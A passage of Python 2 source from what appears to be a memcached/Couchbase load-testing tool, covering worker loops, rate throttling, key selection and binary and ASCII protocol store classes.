key_num, key_str,
choose_entry(cfg.get('min-value-size', MIN_VALUE_SIZE), key_num)
)
grp = store.inflight_start()
store.cmd_append("set", key_num, key_str, data, 0, grp)
msg = store.inflight_complete(grp)
store.inflight_send(msg)
store.inflight_recv(1, grp, expectBuffer=False)
cas = store.cor_key_cas[key_num]
store.cor_key_cas.clear()
status = \
observer.block_for_replication(key_str, cas, persist=persist)
latency = time.time() - start_time
if status:
stats_queue.put([key_str, cas, start_time, latency], block=True)
else:
# put an invalid object to indicate error
stats_queue.put([key_str, cas, 0, 0], block=True)
if latency < OP_WIN:
backoff = OP_WIN - latency
log.info("cor_worker stopped")
def run_worker(ctl, cfg, cur, store, prefix, heartbeat=0, why=""):
i = 0
t_last_flush = time.time()
t_last_cycle = time.time()
o_last_flush = store.num_ops(cur)
t_last = time.time()
o_last = store.num_ops(cur)
xfer_sent_last = 0
xfer_recv_last = 0
store.why = why
store.stats_ops = cfg.get("stats_ops", 10000)
report = cfg.get('report', 0)
hot_shift = cfg.get('hot-shift', 0)
max_ops_per_sec = float(cfg.get('max-ops-per-sec', 0))
if cfg.get('max-ops-per-sec', 0) > 0 and not 'batch' in cur:
cur['batch'] = 10
log.debug("%s starts cfg: %s" % (why, cfg))
log.debug("%s starts cur: %s" % (why, cur))
log.debug("%s starts store: %s" % (why, store))
log.debug("%s starts prefix: %s" % (why, prefix))
log.debug("%s starts running." % why)
heartbeat_last = t_last
if cfg.get('woq-pattern', 0):
woq_req_queue = UnblockingJoinableQueue(1) # pattern: write/observe/query
woq_stats_queue = multiprocessing.Queue(1)
woq_process = multiprocessing.Process(target=woq_worker,
args=(woq_req_queue, woq_stats_queue,
ctl, cfg, store))
woq_process.daemon = True
woq_process.start()
if cfg.get('observe', 0):
observer = McsodaObserver(ctl, cfg, store, obs_cb)
observer.start()
if cfg.get('cor-pattern', 0):
cor_stats_queue = multiprocessing.Queue()
cor_process = multiprocessing.Process(
target=cor_worker, args=(cor_stats_queue, ctl, cfg, cur, store))
cor_process.daemon = True
cor_process.start()
while ctl.get('run_ok', True):
num_ops = cur.get('cur-gets', 0) + cur.get('cur-sets', 0)
if cfg.get('max-ops', 0) and num_ops >= cfg.get('max-ops', 0):
log.info("exiting because of max ops")
break
if cfg.get('exit-after-creates', 0) and cfg.get('max-creates', 0) and \
cur.get('cur-creates', 0) >= cfg.get('max-creates', 0):
log.info("exiting because of max creates")
break
if cfg.get('exit-after-gets', 0) and cfg.get('max-gets', 0) and \
cur.get('cur-gets', 0) >= cfg.get('max-gets', 0):
log.info("exiting because of max gets")
break
if ctl.get('shutdown_event') is not None and \
ctl['shutdown_event'].is_set():
log.info("exiting because of shutdown event")
break
heartbeat_duration = time.time() - heartbeat_last
if heartbeat != 0 and heartbeat_duration > heartbeat:
heartbeat_last += heartbeat_duration
if cfg.get('max-ops', 0):
progress = 100.0 * num_ops / cfg['max-ops']
log.info("%s num ops = %s out of %s (%.2f %%)",
why, num_ops, cfg['max-ops'], progress)
else:
log.info("%s num ops = %s", why, num_ops)
command = next_cmd(cfg, cur, store)
flushed = store.command(command)
if flushed and cfg.get('woq-pattern', 0):
# record stats
if not woq_stats_queue.empty():
try:
key, cas, start_time, obs_latency, query_latency, latency \
= woq_stats_queue.get(block=False)
if not start_time and not latency:
store.woq_key_cas.clear() # error
else:
store.add_timing_sample("woq-obs", obs_latency)
store.add_timing_sample("woq-query", query_latency)
store.add_timing_sample("woq", latency)
store.save_stats(start_time)
store.woq_key_cas.clear() # simply clear all, no key/cas sanity check
log.info("woq_stats: key: %s, cas: %s, "
"obs_latency: %f, query_latency: %f, latency: %f"
% (key, cas, obs_latency, query_latency, latency))
except Queue.Empty:
pass
# produce request
if woq_req_queue.all_finished():
for key_num, cas in store.woq_key_cas.iteritems():
key = prepare_key(key_num, cfg.get('prefix', ''))
try:
woq_req_queue.put([key, cas], block=False)
except Queue.Full:
break
if flushed and cfg.get('observe', 0):
if store.obs_key_cas and not observer.num_observables():
observables = []
for key_num, cas in store.obs_key_cas.iteritems():
obs = Observable(key=prepare_key(key_num, cfg.get('prefix', '')),
cas=cas,
persist_count=cfg.get('obs-persist-count', 1),
repl_count=cfg.get('obs-repl-count', 1))
observables.append(obs)
observer.load_observables(observables)
if flushed and cfg.get('cor-pattern', 0):
# record stats
if not cor_stats_queue.empty():
try:
key, cas, start_time, latency = \
cor_stats_queue.get(block=False)
if latency:
store.add_timing_sample("cor", latency)
store.save_stats(start_time)
log.info("cor_stats: key: %s, cas: %s, latency: %f"
% (key, cas, latency))
except Queue.Empty:
pass
i += 1
if report > 0 and i % report == 0:
t_curr = time.time()
o_curr = store.num_ops(cur)
xfer_sent_curr = store.xfer_sent
xfer_recv_curr = store.xfer_recv
t_delta = t_curr - t_last
o_delta = o_curr - o_last
xfer_sent_delta = xfer_sent_curr - xfer_sent_last
xfer_recv_delta = xfer_recv_curr - xfer_recv_last
try:
ops_per_sec = o_delta / t_delta
xfer_sent_per_sec = xfer_sent_delta / t_delta
xfer_recv_per_sec = xfer_recv_delta / t_delta
except ZeroDivisionError:
ops_per_sec = o_delta
xfer_sent_per_sec = xfer_sent_delta
xfer_recv_per_sec = xfer_recv_delta
log.debug(prefix + dict_to_s(cur))
log.info("%s ops: %s secs: %s ops/sec: %s tx-bytes/sec: %s rx-bytes/sec: %s" %
(prefix, o_delta, t_delta, int(ops_per_sec),
int(xfer_sent_per_sec) or "unknown",
int(xfer_recv_per_sec) or "unknown"))
t_last = t_curr
o_last = o_curr
xfer_sent_last = xfer_sent_curr
xfer_recv_last = xfer_recv_curr
if flushed:
# Code below is responsible for speed limitation.
# Stream looks like ^_^_^_^_^_^_^
#
# delta1 = flush time + previous sleep time (^_)
# delta2 = flush time (^)
#
# TODO: dynamic correction factor.
# We have to measure actual average throughput - let's say - every
# minute. Thus we can adjust request rate. For now it's empiric,
# because we always oversleep.
CORRECTION_FACTOR = 0.975
delta1 = time.time() - t_last_cycle
delta2 = time.time() - t_last_flush
t_last_cycle += delta1
ops_done = float(store.num_ops(cur) - o_last_flush)
o_last_flush += ops_done
if max_ops_per_sec:
# Taking into account global throughtput
if cfg.get('active_fg_workers') is not None:
concurrent_workers = cfg.get('active_fg_workers').value
else:
concurrent_workers = 1
local_max_ops_per_sec = max_ops_per_sec / concurrent_workers
# Actual throughput
ops_per_sec = ops_done / delta2
# Sleep if too fast. It must be too fast.
if ops_per_sec > local_max_ops_per_sec:
sleep_time = CORRECTION_FACTOR * ops_done / local_max_ops_per_sec - delta2
time.sleep(max(sleep_time, 0))
if hot_shift > 0:
cur['cur-base'] = cur.get('cur-base', 0) + (hot_shift * delta1)
t_last_flush = time.time()
store.flush()
def next_cmd(cfg, cur, store):
do_delete = False
itm_val = None
num_ops = cur.get('cur-ops', 0)
do_set = cfg.get('ratio-sets', 0) > float(cur.get('cur-sets', 0)) / positive(num_ops)
if do_set:
itm_gen = True
cmd = 'set'
cur_sets = cur.get('cur-sets', 0) + 1
cur['cur-sets'] = cur_sets
cur['cur-ops'] = cur.get('cur-ops', 0) + 1
do_set_create = (
(cfg.get('max-items', 0) <= 0 or
cfg.get('max-items', 0) > cur.get('cur-items', 0)) and
cfg.get('max-creates', 0) > cur.get('cur-creates', 0) and
cfg.get('ratio-creates', 0) >= float(cur.get('cur-creates', 0)) / positive(cur.get('cur-sets', 0))
)
if do_set_create:
# Create...
key_num = cur.get('cur-items', 0)
cur['cur-items'] = cur.get('cur-items', 0) + 1
cur['cur-creates'] = cur.get('cur-creates', 0) + 1
else:
# Update...
num_updates = cur['cur-sets'] - cur.get('cur-creates', 0)
do_delete = cfg.get('ratio-deletes', 0) > \
float(cur.get('cur-deletes', 0)) / positive(num_updates)
if do_delete:
itm_gen = False
cmd = 'delete'
cur['cur-deletes'] = cur.get('cur-deletes', 0) + 1
else:
num_mutates = num_updates - cur.get('cur-deletes', 0)
do_arpa = cfg.get('ratio-arpas', 0) > \
float(cur.get('cur-arpas', 0)) / positive(num_mutates)
if do_arpa:
cmd = 'arpa'
cur['cur-arpas'] = cur.get('cur-arpas', 0) + 1
key_num = choose_key_num(num_updates,
cfg.get('ratio-hot', 0),
cfg.get('ratio-hot-sets', 0),
cur.get('cur-sets', 0),
cur.get('cur-base', 0),
cfg.get('random', 0),
cur)
if not do_delete and cfg.get('hot-stack', 0):
stack = cur.get('hot-stack', None)
if not stack:
rotate = (cfg.get('hot-stack-rotate', 0) == 1)
stack = Stack(cfg.get('hot-stack-size', 10), rotate)
cur['hot-stack'] = stack
stack.append(key_num)
expiration = 0
if cmd[0] == 's' and cfg.get('ratio-expirations', 0.0) * 100 > cur_sets % 100:
expiration = cfg.get('expiration', 0)
key_str = prepare_key(key_num, cfg.get('prefix', ''))
if itm_gen:
itm_val = store.gen_doc(key_num, key_str,
choose_entry(cfg.get('min-value-size', MIN_VALUE_SIZE),
num_ops))
return cmd, key_num, key_str, itm_val, expiration
else:
cmd = 'get'
cur['cur-gets'] = cur.get('cur-gets', 0) + 1
cur['cur-ops'] = cur.get('cur-ops', 0) + 1
do_query = cfg.get('ratio-queries', 0) > \
float(cur.get('cur-queries', 0)) / cur.get('cur-gets', 0)
if do_query:
cmd = 'query'
cur['cur-queries'] = cur.get('cur-queries', 0) + 1
do_get_hit = (cfg.get('ratio-misses', 0) * 100) <= (cur.get('cur-gets', 0) % 100)
if do_get_hit:
key_num = None
do_hot = (cfg.get('ratio-hot-gets', 0) * 100)\
> (cur.get('cur-gets', 0) % 100)
stack = cur.get('hot-stack', None)
if do_hot and stack:
key_num = stack.pop()
if cfg.get('exit-after-gets', 0):
key_num = cur['cur-gets']
if not key_num:
key_num = choose_key_num(cur.get('cur-items', 0),
cfg.get('ratio-hot', 0),
cfg.get('ratio-hot-gets', 0),
cur.get('cur-gets', 0),
cur.get('cur-base', 0),
cfg.get('random', 0),
cur)
key_str = prepare_key(key_num, cfg.get('prefix', ''))
return cmd, key_num, key_str, itm_val, 0
else:
cur['cur-misses'] = cur.get('cur-misses', 0) + 1
return cmd, -1, prepare_key(-1, cfg.get('prefix', '')), None, 0
def choose_key_num(num_items, ratio_hot, ratio_hot_choice,
num_ops, base, random_key, cur):
"""
Choose a random or deterministic number in order to generate the MD5 hash.
The deterministic algorithm always favors new items.
i.e:
If many items have been created (num_creates > num_hot_items), \
hot items are chosen from the newest guys.
"""
num_creates = cur.get('cur-creates', 0)
if num_items < 0 or ratio_hot < 0 or ratio_hot > 1:
log.error("num_items: {0}, num_creates:{1}, ratio_hot: {2}"
.format(num_items, num_creates, ratio_hot))
return 1
# get a random or deterministic key
if random_key == 1:
x = int(random.random() * num_items)
else:
pos = cur.get('pos', 0)
pos = (pos + LARGE_PRIME) % positive(num_items)
cur['pos'] = pos
x = pos
hit_hot_range = (ratio_hot_choice * 100) > (num_ops % 100)
num_hot_items = positive(math.floor(ratio_hot * num_items))
num_cold_items = positive(num_items - num_hot_items)
num_init_items = positive(num_items - num_creates)
base %= num_init_items
# calculate offset and apply it to the base
if hit_hot_range:
offset = x % num_hot_items
if offset > num_creates: # choose from the left hot set
retval = (base + offset - num_creates) % num_init_items
else:
retval = num_items - offset # choose from the right hot set
else:
offset = x % num_cold_items
if num_creates > num_hot_items:
retval = offset
elif base > num_cold_items: # no split-up on the cold set
retval = (base + num_hot_items - num_creates + offset) % num_init_items
elif offset < base: # choose from the left cold set
retval = offset
else:
retval = offset + num_hot_items - num_creates # choose from the right cold set
return int(retval) % num_items
def positive(x):
if x > 0:
return x
return 1
def prepare_key(key_num, prefix=None):
key_hash = md5(str(key_num)).hexdigest()[0:16]
if prefix and len(prefix) > 0:
return prefix + "-" + key_hash
return key_hash
def choose_entry(arr, n):
return arr[n % len(arr)]
class Store(object):
def __init__(self):
self.errors = dict()
def connect(self, target, user, pswd, cfg, cur, bucket="default", backups=None):
self.target = target
self.cfg = cfg
self.cur = cur
self.xfer_sent = 0
self.xfer_recv = 0
def err_msg(self, error):
"""Generate error message with class.method names as prefix"""
cname = self.__class__.__name__
fname = inspect.stack()[2][3] # err_msg <- save_error <- caller
return "[{0}.{1}] {2}".format(cname, fname, error)
def save_error(self, error):
"""Update dictionary with errors"""
err_msg = self.err_msg(error)
self.errors[err_msg] = self.errors.get(err_msg, 0) + 1
def show_some_keys(self):
log.debug("first 5 keys...")
for i in range(5):
log.debug(("echo get %s | nc %s %s" %
(self.cmd_line_get(i, prepare_key(i, self.cfg.get('prefix', ''))),
self.target.rsplit(':', 1)[0],
self.target.rsplit(':', 1)[1])))
def stats_collector(self, sc):
self.sc = sc
def command(self, c):
cmd, key_num, key_str, data, expiration = c
if cmd[0] == 'g' or cmd[0] == 'q':
log.debug(cmd + ' ' + key_str + '\r')
return False
if cmd[0] == 'd':
log.debug('delete ' + key_str + '\r')
return False
c = 'set'
if cmd[0] == 'a':
c = self.arpa[self.cur.get('cur-sets', 0) % len(self.arpa)]
log.debug("%s %s 0 %s %s\r\n%s\r" % (c, key_str, expiration,
len(data), data))
return False
def flush(self):
pass
def num_ops(self, cur):
return cur.get('cur-gets', 0) + cur.get('cur-sets', 0)
def gen_doc(self, key_num, key_str, min_value_size, json=None, cache=None):
if json is None:
json = self.cfg.get('json', 1) > 0
if cache is None:
cache = self.cfg.get('doc-cache', 0)
return gen_doc_string(key_num, key_str, min_value_size,
self.cfg['suffix'][min_value_size],
json, cache=cache)
def cmd_line_get(self, key_num, key_str):
return key_str
def readbytes(self, skt, nbytes, buf):
while len(buf) < nbytes:
data = None
try:
data = skt.recv(max(nbytes - len(buf), 4096))
except Exception as error:
self.save_error(error)
log.error(error)
if not data:
self.save_error("no data")
log.error("no data")
return None, ""
buf += data
return buf[:nbytes], buf[nbytes:]
def add_timing_sample(self, cmd, delta, prefix="latency-"):
base = prefix + cmd
for suffix in self.cfg.get("timing-suffixes", ["", "-recent"]):
key = base + suffix
histo = self.cur.get(key, None)
if histo is None:
histo = {}
self.cur[key] = histo
try:
bucket = round(self.histo_bucket(delta), 6)
histo[bucket] = histo.get(bucket, 0) + 1
except TypeError, error:
self.save_error(error)
log.error(error)
def histo_bucket(self, samp):
hp = self.cfg.get("histo-precision", 2)
if samp > 0:
p = 10 ** (math.floor(math.log10(samp)) - (hp - 1))
r = round(samp / p)
return r * p
def drange(self, start, stop, step):
r = start
while r < stop:
yield round(float(r), 6)
r += float(step)
class StoreMemcachedBinary(Store):
def connect(self, target, user, pswd, cfg, cur, bucket="default", backups=None):
self.cfg = cfg
self.cur = cur
self.target = target
self.host_port = (target + ":11211").rsplit(':', 1)[0:2]
self.host_port[1] = int(self.host_port[1])
self.host_port = self.host_port[0].rsplit(':')[0:3]
self.connect_host_port(self.host_port[0], self.host_port[1], user, pswd, bucket=bucket)
self.inflight_reinit()
self.queue = []
self.cmds = 0
self.ops = 0
self.previous_ops = 0
self.buf = ''
self.arpa = [(CMD_ADD, True),
(CMD_REPLACE, True),
(CMD_APPEND, False),
(CMD_PREPEND, False)]
self.xfer_sent = 0
self.xfer_recv = 0
self.obs_key_cas = {} # {key_num: cas} pair
self.woq_key_cas = {} # {key_num: cas} pair
self.cor_key_cas = {} # {key_num: cas} pair
self.retries = 0
self.backups = backups
self.bucket = bucket
self.user = user
self.pswd = pswd
def reconnect(self):
if self.backups:
self.target = self.backups[0]
self.backups.pop(0)
log.info("StoreMemcachedBinary: reconnect to %s" % self.target)
self.host_port = (self.target + ":11211").rsplit(':', 0)[0:2]
self.host_port[1] = int(self.host_port[1])
self.connect_host_port(self.host_port[0], self.host_port[1],
self.user, self.pswd, bucket=self.bucket)
def connect_host_port(self, host, port, user, pswd, bucket="default"):
self.conn = mc_bin_client.MemcachedClient(host, port)
if user and bucket != "default":
self.conn.sasl_auth_plain(user, pswd)
def inflight_reinit(self, inflight=0):
self.inflight = inflight
self.inflight_num_gets = 0
self.inflight_num_sets = 0
self.inflight_num_deletes = 0
self.inflight_num_arpas = 0
self.inflight_num_queries = 0
self.inflight_start_time = 0
self.inflight_end_time = 0
self.inflight_grp = None
def inflight_start(self):
return []
def inflight_complete(self, inflight_arr):
return ''.join(inflight_arr)
def inflight_send(self, inflight_msg):
try:
self.conn.s.sendall(inflight_msg)
except socket.error, error:
self.retries += 1
self.save_error(error)
log.error("%s, retries = %s", error, self.retries)
if self.retries == RETRIES:
e = ServerUnavailableException(self.host_port)
self.reconnect()
self.retries = 0
raise e
time.sleep(0.2)
return 0
return len(inflight_msg)
def inflight_recv(self, inflight, inflight_arr, expectBuffer=None):
received = 0
for i in range(inflight):
try:
cmd, keylen, extralen, errcode, datalen, opaque, val, buf = \
self.recvMsg()
except Exception, error:
self.retries += 1
self.save_error(error)
log.error("%s, retries = %s", error, self.retries)
if self.retries == RETRIES:
e = ServerUnavailableException(self.host_port)
self.reconnect()
self.retries = 0
raise e
time.sleep(0.2)
return received
received += datalen + MIN_RECV_PACKET
return received
def inflight_append_buffer(self, grp, vbucketId, opcode, opaque):
return grp
def command(self, c):
self.queue.append(c)
if len(self.queue) <= self.flush_level():
return False
try:
self.flush()
return True
except ServerUnavailableException, error:
self.save_error(error)
log.error(error)
self.queue = list()
self.inflight_reinit()
return False
def flush_level(self):
return self.cur.get('batch') or self.cfg.get('batch', 100)
def get_vbucketId(self, key):
vbuckets = self.cfg.get("vbuckets", 0)
if vbuckets > 0:
return crc32.crc32_hash(key) & (vbuckets - 1)
return 0
def header(self, op, key, val, opaque=0, extra='', cas=0,
dtype=0,
fmt=REQ_PKT_FMT,
magic=REQ_MAGIC_BYTE):
vbucketId = self.get_vbucketId(key)
return struct.pack(fmt, magic, op,
len(key), len(extra), dtype, vbucketId,
len(key) + len(extra) + len(val), opaque, cas), vbucketId
def create_seed(self):
"""Return a seed (hashable tuple or int value) based on current stats.
This seed ensures reproducible randomness for the same test
configurations.
"""
if self.why == 'loop-fg':
return self.cur.get('cur-queries', 0)
else:
return (self.cur.get('cur-gets', 0),
self.cur.get('cur-sets', 0),
self.cur.get('cur-deletes', 0),
self.cur.get('cur-creates', 0),
self.cur.get('cur-arpas', 0))
def flush(self):
next_inflight = 0
next_inflight_num_gets = 0
next_inflight_num_sets = 0
next_inflight_num_deletes = 0
next_inflight_num_arpas = 0
next_inflight_num_queries = 0
next_grp = self.inflight_start()
# Permutation of requests
random.seed(self.create_seed())
random.shuffle(self.queue)
# Start a 1, not 0, due to the single latency measurement request.
for i in range(1, len(self.queue)):
cmd, key_num, key_str, data, expiration = self.queue[i]
delta_gets, delta_sets, delta_deletes, delta_arpas, delta_queries = \
self.cmd_append(cmd, key_num, key_str, data, expiration, next_grp)
next_inflight += 1
next_inflight_num_gets += delta_gets
next_inflight_num_sets += delta_sets
next_inflight_num_deletes += delta_deletes
next_inflight_num_arpas += delta_arpas
next_inflight_num_queries += delta_queries
next_msg = self.inflight_complete(next_grp)
latency_cmd = None
latency_start = 0
latency_end = 0
if self.inflight > 0:
# Receive replies from the previous batch of inflight requests.
self.xfer_recv += self.inflight_recv(self.inflight, self.inflight_grp)
self.inflight_end_time = time.time()
self.ops += self.inflight
if self.sc:
self.sc.ops_stats({'tot-gets': self.inflight_num_gets,
'tot-sets': self.inflight_num_sets,
'tot-deletes': self.inflight_num_deletes,
'tot-arpas': self.inflight_num_arpas,
'tot-queries': self.inflight_num_queries,
'start-time': self.inflight_start_time,
'end-time': self.inflight_end_time})
if len(self.queue) > 0:
# Use the first request in the batch to measure single
# request latency.
grp = self.inflight_start()
latency_cmd, key_num, key_str, data, expiration = self.queue[0]
self.cmd_append(latency_cmd, key_num, key_str, data, expiration, grp)
msg = self.inflight_complete(grp)
latency_start = time.time()
self.xfer_sent += self.inflight_send(msg)
self.xfer_recv += self.inflight_recv(1, grp, expectBuffer=False)
latency_end = time.time()
self.ops += 1
self.queue = []
self.inflight_reinit()
if next_inflight > 0:
self.inflight = next_inflight
self.inflight_num_gets = next_inflight_num_gets
self.inflight_num_sets = next_inflight_num_sets
self.inflight_num_deletes = next_inflight_num_deletes
self.inflight_num_arpas = next_inflight_num_arpas
self.inflight_num_queries = next_inflight_num_queries
self.inflight_start_time = time.time()
self.inflight_grp = next_grp
self.xfer_sent += self.inflight_send(next_msg)
if latency_cmd:
delta = latency_end - latency_start
self.add_timing_sample(latency_cmd, delta)
if self.sc:
if self.ops - self.previous_ops > self.stats_ops:
self.previous_ops = self.ops
self.save_stats()
log.debug("%s save_stats : %s" % (self.why, latency_cmd))
def save_stats(self, cur_time=0):
for key in self.cur:
if key.startswith('latency-'):
histo = self.cur.get(key, None)
if histo:
self.sc.latency_stats(key, histo, cur_time)
if key.endswith('-recent'):
self.cur[key] = {}
self.sc.sample(self.cur)
def cmd_append(self, cmd, key_num, key_str, data, expiration, grp):
self.cmds += 1
if cmd[0] == 'g' or cmd[0] == 'q':
hdr, vbucketId = self.header(CMD_GET, key_str, '', opaque=self.cmds)
m = self.inflight_append_buffer(grp, vbucketId, CMD_GET, self.cmds)
m.append(hdr)
m.append(key_str)
return 1, 0, 0, 0, 0
elif cmd[0] == 'd':
hdr, vbucketId = self.header(CMD_DELETE, key_str, '', opaque=self.cmds)
m = self.inflight_append_buffer(grp, vbucketId, CMD_DELETE, self.cmds)
m.append(hdr)
m.append(key_str)
return 0, 0, 1, 0, 0
rv = (0, 1, 0, 0, 0)
curr_cmd = CMD_SET
curr_extra = struct.pack(SET_PKT_FMT, 0, expiration)
if cmd[0] == 'a':
rv = (0, 0, 0, 1, 0)
curr_cmd, have_extra = self.arpa[self.cur.get('cur-sets', 0) % len(self.arpa)]
if not have_extra:
curr_extra = ''
hdr, vbucketId = self.header(curr_cmd, key_str, data,
extra=curr_extra, opaque=key_num)
m = self.inflight_append_buffer(grp, vbucketId, curr_cmd, self.cmds)
m.append(hdr)
if curr_extra:
m.append(curr_extra)
m.append(key_str)
m.append(data)
return rv
def num_ops(self, cur):
return self.ops
def recvMsg(self):
sock = self.conn.s
buf = self.buf
pkt, buf = self.readbytes(sock, MIN_RECV_PACKET, buf)
magic, cmd, keylen, extralen, dtype, errcode, datalen, opaque, cas = \
struct.unpack(RES_PKT_FMT, pkt)
if magic != RES_MAGIC_BYTE:
raise Exception("Unexpected recvMsg magic: " + str(magic))
val, buf = self.readbytes(sock, datalen, buf)
self.buf = buf
if not self.obs_key_cas and cmd == CMD_SET:
self.obs_key_cas[opaque] = cas # opaque is the key_num
if not self.woq_key_cas and cmd == CMD_SET:
self.woq_key_cas[opaque] = cas
if "cor" in self.cfg and cmd == CMD_SET:
self.cor_key_cas[opaque] = cas
return cmd, keylen, extralen, errcode, datalen, opaque, val, buf
class StoreMembaseBinary(StoreMemcachedBinary):
def connect_host_port(self, host, port, user, pswd, bucket="default"):
"""
Connect to the server host using REST API.
Username and password should be rest_username and rest_password, \
generally they are different from ssh identities.
"""
from lib.memcached.helper.data_helper import VBucketAwareMemcached
info = {"ip": host, "port": port,
'username': user or self.cfg.get("rest_username", "Administrator"),
'password': pswd or self.cfg.get("rest_password", "password")}
self.rest = RestConnection(info)
self.awareness = VBucketAwareMemcached(self.rest, bucket, info)
self.backoff = 0
self.xfer_sent = 0
self.xfer_recv = 0
def flush_level(self):
f = StoreMemcachedBinary.flush_level(self)
return f * len(self.awareness.memcacheds)
def inflight_start(self):
return {
's_bufs': {}, # Key is server str, value is [] of buffer.
's_cmds': {} # Key is server str, value is int (number of cmds).
}
def inflight_complete(self, inflight_grp):
rv = [] # Array of tuples (server, buffer).
s_bufs = inflight_grp['s_bufs']
for server in s_bufs.keys():
buffers = s_bufs[server]
rv.append((server, ''.join(buffers)))
return rv
def inflight_send(self, inflight_msg):
"""
If timeout value is 0,
blocks until everything been sent out \
or the connection breaks.
"""
timeout_sec = self.cfg.get("socket-timeout", 0)
sent_total = 0
for server, buf in inflight_msg:
length = len(buf)
if length == 0:
continue
sent_tuple = 0 # byte sent out per tuple in inflight_msg
while sent_tuple < length:
try:
conn = self.awareness.memcacheds[server]
if timeout_sec > 0:
conn.s.settimeout(timeout_sec)
sent = conn.s.send(buf)
if sent == 0:
self.save_error("socket.send returned 0")
log.error("socket.send returned 0")
break
sent_tuple += sent
except socket.timeout:
self.save_error("socket timeout")
log.error("socket timeout")
break
except Exception, error:
self.save_error(error)
log.error(error)
break
sent_total += sent_tuple
return sent_total
def inflight_recv(self, inflight, inflight_grp, expectBuffer=None):
received = 0
s_cmds = inflight_grp['s_cmds']
reset_my_awareness = False
backoff = False
for server in s_cmds.keys():
try:
conn = self.awareness.memcacheds[server]
try:
recvBuf = conn.recvBuf
except AttributeError:
recvBuf = ''
if expectBuffer == False and recvBuf != '':
raise Exception("Was expecting empty buffer, but have (" +
str(len(recvBuf)) + "): " + recvBuf)
cmds = s_cmds[server]
for i in range(cmds):
try:
rcmd, keylen, extralen, errcode, datalen, ropaque, val, recvBuf = \
self.recvMsgSockBuf(conn.s, recvBuf)
received += datalen + MIN_RECV_PACKET
if errcode == ERR_NOT_MY_VBUCKET:
reset_my_awareness = True
elif errcode == ERR_ENOMEM or \
errcode == ERR_EBUSY or \
errcode == ERR_ETMPFAIL:
backoff = True
self.save_error("errorcode = %s" % errcode)
if errcode == ERR_ENOMEM:
log.error("errorcode = ENOMEM")
# Don't log backoffs due to ETMPFAIL/EBUSY
except Exception, error:
self.save_error(error)
log.error(error)
reset_my_awareness = True
backoff = True
conn.recvBuf = recvBuf
except Exception, error:
self.save_error(error)
log.error(error)
reset_my_awareness = True
backoff = True
if backoff:
self.backoff = max(self.backoff, 0.1) * \
self.cfg.get('backoff-factor', 2.0)
if self.backoff > 0:
self.cur['cur-backoffs'] = self.cur.get('cur-backoffs', 0) + 1
log.info("inflight recv backoff = %s" % self.backoff)
time.sleep(self.backoff)
else:
self.backoff = 0
if reset_my_awareness:
try:
self.awareness.reset()
except Exception, error:
self.save_error("awareness.reset: {0}".format(error))
log.error("awareness.reset: %s", error)
return received
def recvMsgSockBuf(self, sock, buf):
pkt, buf = self.readbytes(sock, MIN_RECV_PACKET, buf)
magic, cmd, keylen, extralen, dtype, errcode, datalen, opaque, cas = \
struct.unpack(RES_PKT_FMT, pkt)
if magic != RES_MAGIC_BYTE:
raise Exception("Unexpected recvMsg magic: " + str(magic))
if not self.obs_key_cas and cmd == CMD_SET:
self.obs_key_cas[opaque] = cas # opaque is the key_num
if not self.woq_key_cas and cmd == CMD_SET:
self.woq_key_cas[opaque] = cas # opaque is the key_num
if "cor" in self.cfg and cmd == CMD_SET:
self.cor_key_cas[opaque] = cas # opaque is the key_num
val, buf = self.readbytes(sock, datalen, buf)
return cmd, keylen, extralen, errcode, datalen, opaque, val, buf
def inflight_append_buffer(self, grp, vbucketId, opcode, opaque):
s_bufs = grp['s_bufs']
s_cmds = grp['s_cmds']
s = self.awareness.vBucketMap[vbucketId]
m = s_bufs.get(s, None)
if m is None:
m = []
s_bufs[s] = m
s_cmds[s] = 0
s_cmds[s] += 1
return m
class StoreMemcachedAscii(Store):
def connect(self, target, user, pswd, cfg, cur, bucket="default", backups=None):
self.cfg = cfg
self.cur = cur
self.target = target
self.host_port = (target + ":11211").rsplit(':', 1)[0:2]
self.host_port[1] = int(self.host_port[1])
self.skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.skt.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
self.skt.connect(tuple(self.host_port))
self.queue = []
self.ops = 0
self.previous_ops = 0
self.buf = ''
self.arpa = ['add', 'replace', 'append', 'prepend']
self.xfer_sent = 0
self.xfer_recv = 0
def command(self, c):
self.queue.append(c)
if len(self.queue) > (self.cur.get('batch') or
self.cfg.get('batch', 100)):
self.flush()
return True
return False
def command_send(self, cmd, key_num, key_str, data, expiration):
if cmd[0] == 'g' or cmd[0] == 'q':
return cmd + ' ' + key_str + '\r\n'
if cmd[0] == 'd':
return 'delete ' + key_str + '\r\n'
c = 'set'
if cmd[0] == 'a':
c = self.arpa[self.cur.get('cur-sets', 0) % len(self.arpa)]
return "%s %s 0 %s %s\r\n%s\r\n" % (c, key_str, expiration,
len(data), data)
def command_recv(self, cmd, key_num, key_str, data, expiration):
buf = self.buf
if cmd[0] == 'g' or cmd[0] == 'q':
# GET...
line, buf = self.readline(self.skt, buf)
while line and line != 'END':
# line == "VALUE k flags len"
rvalue, rkey, rflags, rlen = line.split()
data, buf = self.readbytes(self.skt, int(rlen) + 2, buf)
line, buf = self.readline(self.skt, buf)
elif cmd[0] == 'd':
# DELETE...
line, buf = self.readline(self.skt, buf) # line == "DELETED"
else:
# SET...
line, buf = self.readline(self.skt, buf) # line == "STORED"
self.buf = buf
def flush(self):
m = []
for c in self.queue:
cmd, key_num, key_str, data, expiration = c
m.append(self.command_send(cmd, key_num, key_str, data, expiration))
self.skt.send(''.join(m))
for c in self.queue:
cmd, key_num, key_str, data, expiration = c
self.command_recv(cmd, key_num, key_str, data, expiration)
self.ops += len(self.queue)
self.queue = []
def num_ops(self, cur):
return self.ops
def readline(self, skt, buf):
while True:
index = buf.find('\r\n')
if index >= 0:
break
data = skt.recv(4096)
if not data:
return '', ''
buf += data
return buf[:index], buf[index + 2:]
# --------------------------------------------------------
# A key is a 16 char hex string.
def key_to_name(key_str):
return "%s %s" % (key_str[-16:-12], key_str[-4:-1])
def key_to_email(key_str):
return "%s@%s.com" % (key_str[-16:-12], key_str[-13:-11])
def key_to_city(key_str):
return key_str[-12:-9]
def key_to_country(key_str):
return key_str[-9:-7]
def key_to_realm(key_str):
return key_str[-7:-5]
def key_to_coins(key_str):
sub_key = key_str[-16:]
return max(0.0, int(sub_key[0:4], 16) / 100.0)
def key_to_category(key_str):
return int(key_str[-12], 16) % 3
def key_to_achievements(key_str):
next = 300
achievements = []
sub_key = key_str[-16:]
for i in range(len(sub_key)):
next = (next + int(sub_key[i], 16) * i) % 500
if next < 256:
achievements.append(next)
return achievements
